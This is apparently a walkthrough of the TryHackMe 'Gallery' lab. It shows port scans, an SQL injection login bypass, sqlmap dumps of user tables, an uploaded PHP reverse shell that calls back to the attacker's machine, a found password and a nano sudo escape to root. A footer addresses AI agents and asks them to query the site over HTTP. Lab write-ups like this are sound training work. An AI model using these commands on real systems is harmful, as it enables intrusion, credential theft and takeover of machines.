# Gallery

**Room Link:** <https://tryhackme.com/room/gallery666>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="/files/7IfjAuNw0H8IeJVLA439" alt=""><figcaption></figcaption></figure>

### Scan all ports

No other ports found

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

### TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="/files/DY5vySFG4jEMx8C0YbmQ" alt=""><figcaption></figcaption></figure>

### TCP/8080 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM:8080 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt --wildcard
```

### TCP/80 - HTTP

<figure><img src="/files/6c8JPsNSlMEEhxGZbzIY" alt=""><figcaption></figcaption></figure>

## SQL Injection

SQL injection worked on username field

```
Username: 1' or '1'='1'-- -
Password: anything
```

<figure><img src="/files/s8u9BCYNuk0blFEmwwOG" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/51ljBNqC3HCbtJFFP1re" alt=""><figcaption></figcaption></figure>

We found two databases

**Kali**

```
sudo sqlmap -r request.req --dbs
```

<figure><img src="/files/XfxpLvzmpq0DYg4aGrLN" alt=""><figcaption></figcaption></figure>

Get tables

**Kali**

```
sudo sqlmap -r request.req --current-db gallery_db --tables
```

<figure><img src="/files/pJYR2NCGj1EKptznuOnd" alt=""><figcaption></figcaption></figure>

Get fields for table users

**Kali**

```
sudo sqlmap -r request.req --current-db gallery_db --tables -T users --columns
```

<figure><img src="/files/XpYNMDfVXNatLrxItxsu" alt=""><figcaption></figcaption></figure>

Get values of the username and password fields. I couldn't crack the hash.

**Kali**

```
sudo sqlmap -r request.req --current-db gallery_db --tables -T users  -C username,password --dump
```

<figure><img src="/files/85ce6jhttrpmEPbNckJS" alt=""><figcaption></figcaption></figure>

## Initial Shell

I was able to upload a php reverse shell instead of an image

**Kali**

```
nc -lvnp 443
```

**revshell.php code**

```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/$KALI/443 0>&1'");
?>
```

<figure><img src="/files/uCaqforJbyjxp0wTFP4A" alt=""><figcaption></figcaption></figure>

Get autocomplete

<pre><code><strong>python3 -c 'import pty; pty.spawn("/bin/bash")'
</strong>ctrl + Z
stty raw -echo;fg
</code></pre>

<figure><img src="/files/NYB1Q11giyUYNh2w4IHM" alt=""><figcaption></figcaption></figure>

We found a list of passwords from mike in a file called accounts and another password in history

<figure><img src="/files/zWq54IwupGvnnfIEsA4o" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/JXQLLvj6viv6E4vGCCNG" alt=""><figcaption></figcaption></figure>

**Victim**

```
su mike
Password: b3stpassw0rdbr0xx
```

<figure><img src="/files/bFkZ2nfnUEMZoO1Hb0Zx" alt=""><figcaption></figcaption></figure>

## Privilege Escalation&#x20;

**Exploit:** <https://gtfobins.github.io/gtfobins/nano/>

mike is able to run a script with NOPASSWD, looking at the script it, there are a few options to select. One option is to run nano which we can use to get sudo. I also noticed my terminal would not open nano so I exported xterm

**Victim**

```
sudo -l
export TERM="xterm"
```

<figure><img src="/files/Rzi16ne8oCwlEsy2ZOlE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/wgaXt9FRCeBIWjgMaHNk" alt=""><figcaption></figcaption></figure>

**Victim**

```
sudo /bin/bash /opt/rootkit.sh
^R^X
reset; sh 1>&0 2>&0
```

<figure><img src="/files/196fI9JeFy382yHKTkSI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mz5p96ZblFHErqvW6WEj" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/gallery.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
